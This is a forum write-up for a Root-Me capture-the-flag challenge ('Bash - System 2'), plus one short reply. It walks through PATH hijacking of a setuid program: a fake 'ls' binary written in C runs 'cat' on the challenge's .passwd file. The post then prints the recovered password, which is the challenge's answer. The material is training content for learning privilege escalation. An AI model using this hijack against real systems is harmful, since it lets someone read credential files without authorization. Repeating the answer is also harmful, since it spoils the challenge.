Bash - System 2 [WRITEUP]

Root-Me
1

LETS FINISH THIS CHALLANGE :slight_smile:

image
image828×173 5.91 KB

It looks like that it can be solved by changing the “ls” command to “cat”. However, since there is no “-l” option in “cat” command, “ls -lA” should be “cat”.

app-script-ch12@challenge02: cd /tmp
app-script-ch12@challenge02:/tmp$ mkdir tmpt
app-script-ch12@challenge02:/tmp$ cd tmpt
app-script-ch12@challenge02:/tmp/tmpt$ ls
app-script-ch12@challenge02:/tmp/tmpt$ nano ls.c
Press Enter to continue

Now Write A Program
Code:

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char  *argv[]){
       system("cat /challenge/app-script/ch12/.passwd");
       return 0;
}

app-script-ch12@challenge02:/tmp/tmpt$ gcc /tmp/tmpt/ls.c -o /tmp/tmpt/ls
app-script-ch12@challenge02:/tmp/tmpt$ ls
ls ls.c
app-script-ch12@challenge02:/tmp/tmpt$ export PATH=“/tmp/tmpt/:$PATH”
app-script-ch12@challenge02:/tmp/tmpt$ echo $PATH
app-script-ch12@challenge02:/tmp/tmpt$ ~ch12
8a95eDS/*e_T#

password: 8a95eDS/*e_T#

CONGRATS YOU GOT A PASSWORD :slight_smile:

2

Nice path injection

1 Like